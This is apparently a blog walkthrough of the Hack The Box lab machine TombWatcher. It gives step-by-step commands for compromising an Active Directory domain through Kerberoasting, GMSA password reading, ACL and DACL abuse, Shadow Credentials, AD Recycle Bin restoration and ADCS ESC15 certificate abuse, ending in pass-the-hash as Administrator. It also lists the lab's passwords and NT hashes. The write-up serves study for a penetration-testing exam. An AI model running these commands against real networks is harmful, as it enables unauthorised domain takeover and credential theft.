Skip to content
Archwarden
Go back
HTB: TombWatcher
HTB
Windows Medium Retired

HTB: TombWatcher

Techniques BloodHound EnumerationWriteSPN AbuseKerberoastingGMSA Password ReadForceChangePasswordWriteOwner / DACL AbuseShadow Credentials AttackAD Recycle BinADCS ESC15 (CVE-2024-49019)Pass-the-Hash

Summary

TombWatcher starts with provided credentials for henry, which is consistent with an assumed-breach or internal pentest scope. From there, the attack is a sequence of ACL hops: WriteSPN on alfred enables Kerberoasting, the cracked hash gets alfred into the Infrastructure group where a GMSA password is readable, ansible_dev$ can force-change sam’s password, and sam has WriteOwner over john. After a full DACL takeover, Shadow Credentials against john produces a WinRM shell and the user flag.

Privilege escalation starts with a certificate template enumeration. The WebServer template has an enrollment right tied to an unresolved SID, a deleted account still sitting in the AD Recycle Bin. Restoring cert_admin from the bin gives john a GenericAll target to perform Shadow Credentials against. With cert_admin’s hash in hand, the WebServer template is vulnerable to ESC15, where the application policy can be overridden at request time to enable client authentication. A certificate requested for [email protected] leads to an NT hash and a pass-the-hash session as domain Administrator.

Flags:


Detailed Walkthrough

Enumeration

Nmap Scan

Start with a full TCP port scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.232.167 -oA TCP_allports

Extract open ports:

ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')

Run the detailed service scan:

sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.232.167
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows AD LDAP (Domain: tombwatcher.htb)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows AD LDAP (Domain: tombwatcher.htb)
3268/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: tombwatcher.htb)
3269/tcp  open  ssl/ldap      Microsoft Windows AD LDAP (Domain: tombwatcher.htb)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp  open  mc-nmf        .NET Message Framing
  • 88 (Kerberos) confirms a domain controller
  • 389/636/3268 (LDAP) gives us the domain name tombwatcher.htb and hostname DC01
  • 5985 (WinRM) is open. Valid credentials that land in the right group get a shell
  • 80 (IIS) is present but shows a default IIS page; nothing useful there for this path

Add the DC to /etc/hosts and sync the clock before doing anything Kerberos-related:

sudo nano /etc/hosts
# 10.129.232.167  tombwatcher.htb dc01.tombwatcher.htb
sudo ntpdate 10.129.232.167

The LDAP certificate shows a 4-hour clock skew in the scan. Syncing before any certipy or Kerberos operation will save headaches later.

Active Directory Enumeration - BloodHound

With henry’s credentials, and seeing that this is a domain environment it makes sense to collect BloodHound data using rusthound:

rusthound-ce -d tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' -o ./bh -z

Rusthound Collection

Start BloodHound and import the collected zip:

bloodhound-start

BloodHound login screen

BloodHound login screen alternate view

BloodHound data ingestion in progress

BloodHound ingestion complete, nodes and relationships loaded

Tip: If you are re-importing after resetting the box or re-collecting, go to Administration -> Database Management and clear the old data first. Stale node relationships can muddy the picture.

Mark henry as owned and explore outbound paths.

BloodHound with henry marked as owned

From here a Shortest paths from Owned objects cypher can help show possible paths and misconfigurations.

BloodHound cypher query results for henry's relationships

The full attack path becomes visible from the graph:

BloodHound graph showing full ACL chain from henry to john

The chain is: henry has WriteSPN on alfred, alfred can AddSelf to the Infrastructure group, Infrastructure members can read the GMSA password for Ansible_dev$, Ansible_dev$ has ForceChangePassword on sam, sam has WriteOwner on john, and john is in Remote Management Users.

Finding 1: Multi-Hop ACL Chain from henry to john Exposes a Full Path to Initial WinRM Access


Foothold - ACL Chain

Step 1: WriteSPN and Kerberoasting alfred

henry has WriteSPN over alfred, which means we can assign a Service Principal Name to that account and then request a Kerberos service ticket for it. Kerberos service tickets are encrypted with the target account’s password hash, so offline cracking becomes possible.

Assign an SPN to alfred:

bloodyAD -u henry -p 'H3nry_987TGV!' --host 10.129.232.167 set object ALFRED servicePrincipalName -v 'http/pwned'

bloodyAD setting SPN on alfred

Kerberoast the account:

nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --kerberoasting kerberoasting.out

NXC kerberoasting alfred and writing the hash to file

Clean up the SPN once the hash is captured. Good practice in general, even though this box has a cleanup script that is aggressively resetting changes:

bloodyAD -u henry -p 'H3nry_987TGV!' --host 10.129.232.167 set object ALFRED servicePrincipalName

bloodyAD clearing alfred's SPN

Crack the hash with Hashcat (mode 13100 = Kerberos TGS-REP):

hashcat -m 13100 kerberoasting.out /usr/share/wordlists/rockyou.txt

Hashcat cracking alfred's Kerberos hash, returning basketball

Credentials recovered: alfred:basketball

Step 2: Add alfred to Infrastructure Group

alfred has AddSelf rights on the Infrastructure group, so the account can add itself:

bloodyAD -u alfred -p 'basketball' --host 10.129.232.167 add groupMember infrastructure Alfred

bloodyAD adding alfred to the Infrastructure group

Step 3: Read GMSA Password (Ansible_dev$)

Members of Infrastructure can read the GMSA password for Ansible_dev$. NXC handles the GMSA retrieval cleanly:

nxc ldap tombwatcher.htb -u alfred -p 'basketball' --gmsa

NXC GMSA module returning the NT hash for Ansible_dev$

GMSA hash recovered: ansible_dev$:cba56cd2df7d642f622e2a59956f6d47

Step 4: Force-Change sam’s Password

Ansible_dev$ has ForceChangePassword on sam. Pass the NT hash with a colon prefix for bloodyAD:

bloodyAD -u ansible_dev$ -p ':cba56cd2df7d642f622e2a59956f6d47' --host 10.129.232.167 set password sam 'Password1!'

bloodyAD forcing sam's password to Password1!

Step 5: Take Ownership of john and Grant FullControl

sam has WriteOwner on john. Taking ownership then writing a DACL entry gives full control of the account:

impacket-owneredit -action write -new-owner 'sam' -target 'john' 'tombwatcher.htb'/'sam':'Password1!'

impacket-owneredit setting sam as owner of john

impacket-dacledit -action 'write' -rights 'FullControl' -principal 'sam' -target 'john' 'tombwatcher.htb'/'sam':'Password1!'

impacket-dacledit granting sam FullControl over john

Step 6: Shadow Credentials on john

With FullControl over john, perform a Shadow Credentials attack to recover john’s NT hash without touching the account’s actual password:

certipy-ad shadow auto -u [email protected] -p 'Password1!' -account john -dc-ip 10.129.232.167

certipy-ad shadow auto returning NT hash for john

NT hash for john: ad9324754583e3e42b55aad4d3b8d2bf

Note: This box runs an aggressive cleanup script that periodically resets group memberships, passwords, and ACLs. If certipy fails unexpectedly, verify that alfred is still in Infrastructure and sam’s password is still set. Re-run any necessary steps before proceeding. Also re-run sudo ntpdate 10.129.232.167 if Kerberos starts throwing clock skew errors.

WinRM as john, and Grab the User Flag

evil-winrm -i 10.129.232.167 -u john -H 'ad9324754583e3e42b55aad4d3b8d2bf'

Evil-WinRM session established as john with user flag visible


Privilege Escalation

ADCS Enumeration

john has GenericAll over an OU named ADCS in BloodHound, but that OU path is a dead end for this chain.

BloodHound showing john's GenericAll edge to cert_admin

The more interesting lead is checking what certificate templates are misconfigured:

certipy-ad find -u john -hashes :ad9324754583e3e42b55aad4d3b8d2bf -target 10.129.232.167

certipy-ad find output showing certificate templates and enrollment rights

certipy-ad find output continued, WebServer template enrollment rights section

In the JSON output, template 17 (WebServer) has a recognizable SID in the enrollment rights list:

S-1-5-21-1392491010-1358638721-2126982587-1111

Everything else in that list resolves to a readable name like Domain Admins or Enterprise Admins. An unresolved SID here means the account it belonged to was deleted after the permission was granted. The permission is still active in Active Directory even though the principal no longer exists in a normal query.

Finding 2: Orphaned SID in WebServer Template Enrollment Rights Points to a Deleted Account with Active Certificate Enrollment Privileges

Investigating the AD Recycle Bin

Check whether the account behind that SID was deleted but still recoverable. From the john WinRM session:

Get-ADObject -Filter 'objectsid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' -Properties * -IncludeDeletedObjects

PowerShell Get-ADObject showing cert_admin in the AD Recycle Bin

cert_admin is in the Recycle Bin with a GUID we can use to restore it. There is also a way to do this from the attack box without a PowerShell session if needed:

bloodyAD -d tombwatcher.htb -u john -p ':ad9324754583e3e42b55aad4d3b8d2bf' --host dc01.tombwatcher.htb --dc-ip 10.129.232.167 get search -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)'

bloodyAD querying deleted objects from the attack box, showing cert_admin

Being able to query deleted objects from the attack box is worth knowing. Sometimes a deleted account in the Recycle Bin still has sensitive attributes like passwords or descriptions populated from before deletion. This one we restore.

Restore cert_admin using its GUID:

Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

PowerShell Restore-ADObject restoring cert_admin from the Recycle Bin

Re-ingest BloodHound to Confirm the Path

After restoring cert_admin, re-collect and re-ingest BloodHound data to verify the relationships before proceeding:

rusthound-ce -d tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' -o ./bh -z

BloodHound showing cert_admin node and its relationships

BloodHound showing cert_admin enrollment rights on the WebServer template

john has GenericAll over cert_admin, and cert_admin has enrollment rights on the WebServer template. The path is clear.

Finding 3: cert_admin Restored from AD Recycle Bin Holds Active Enrollment Rights on a Vulnerable Certificate Template

Shadow Credentials on cert_admin

Use john’s GenericAll to perform Shadow Credentials against cert_admin:

certipy-ad shadow auto -u [email protected] -hashes ':ad9324754583e3e42b55aad4d3b8d2bf' -account cert_admin -dc-ip 10.129.232.167

certipy-ad shadow auto returning NT hash for cert_admin

NT hash for cert_admin: f87ebf0febd9c4095c68a88928755773

Note: The aggressive cleanup script may delete cert_admin again between steps. If certipy fails on this account, check whether it still exists and re-run the Restore-ADObject step if needed.

ESC15: WebServer Template Abuse (CVE-2024-49019)

Confirm the template vulnerability:

certipy-ad find -u cert_admin -hashes :f87ebf0febd9c4095c68a88928755773 -target 10.129.232.167 -vulnerable -stdout

certipy-ad find showing WebServer template vulnerable to ESC15

The WebServer template is flagged as vulnerable to ESC15.

For a full breakdown of ESC15 and how it can be exploited check out the wiki on the Certipy GitHub wiki.

ESC15 description from certipy output confirming schema version 1 and policy injection

Request the certificate for [email protected], injecting the Client Authentication policy and supplying the administrator SID:

certipy-ad req -u cert_admin -hashes :f87ebf0febd9c4095c68a88928755773 -target 10.129.232.167 -ca tombwatcher-CA-1 -template WebServer -upn '[email protected]' -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' -application-policies 'Client Authentication'

certipy-ad req issuing ESC15 certificate for administrator

Authenticate with the PFX to get an LDAP shell:

certipy-ad auth -dc-ip 10.129.232.167 -pfx administrator.pfx -ldap-shell

certipy-ad auth opening an LDAP shell as administrator

At the # prompt, use Shadow Credentials to get a new administrator PFX:

set_shadow_creds administrator

LDAP shell set_shadow_creds on administrator, returning new PFX path and password

Saved PFX (#PKCS12) certificate & key at path: d11l0UMV.pfx
Must be used with password: 6SksxrnGxLkzvwxwo9ao

Authenticate with the new PFX to recover the administrator NT hash:

certipy-ad auth -pfx d11l0UMV.pfx -password '6SksxrnGxLkzvwxwo9ao' -username Administrator -domain tombwatcher.htb -dc-ip 10.129.232.167

certipy-ad auth returning NT hash for Administrator

NT hash for Administrator: f61db423bebe3328d33af26741afe5fc

Domain Compromise

evil-winrm -i 10.129.232.167 -u Administrator -H f61db423bebe3328d33af26741afe5fc

Evil-WinRM session established as Administrator with root flag visible


Takeaways

How this box helped me prepare for the CPTS exam

  1. Long ACL chains require a map before you move. TombWatcher has six separate hops from henry to john. Without BloodHound giving you the full picture first, it is easy to get lost or miss that your next pivot depends on a previous step staying in place. On the CPTS exam, map the full path in BloodHound and be comfortable looking for outbound connections and running cyphers. Understand what ACL misconfigurations are tied to which attacks.

  2. The AD Recycle Bin is a legitimate enumeration target. Most AD enumeration focuses on live objects. The Recycle Bin holds deleted accounts with attributes still populated from before deletion: descriptions, passwords in certain fields, group memberships at deletion time. So if you find yourself at the end of a long ACL chain and feel stuck, your next step might be in the Recycle Bin. You can do it from a PowerShell session on the target or directly from the attack box with bloodyAD using the isDeleted=TRUE filter.

  3. Certificate Abuse and Certipy. When you find yourself looking at certificate services like ADCS, certipy-ad is the go-to tool. Run certipy-ad find with -vulnerable -stdout as soon as ADCS is confirmed on a target. Know where to look in the output: enrollment rights, template schema versions, and whether the CA has security extensions disabled. Each ESC code represents a distinct misconfiguration with its own exploitation path, and the Certipy GitHub wiki is the best reference for all of them. TombWatcher has ESC15, which is less commonly seen than ESC1 or ESC4, so this box is worth revisiting before any ADCS-heavy exam or engagement.

  4. Cleanup scripts change how you work through a box. On a real engagement you own your changes and nothing resets them. On TombWatcher, aggressive cleanup means you may need to re-run multiple steps to get back to a working state. Get into the habit of documenting every change you make so you can reproduce the full chain quickly. The same discipline applies on the CPTS exam, where you want clear notes on what state the environment is in at every step. This clean attack chain will help immensely with your report as well.



Previous
HTB: StreamIO
Next
HTB: Trick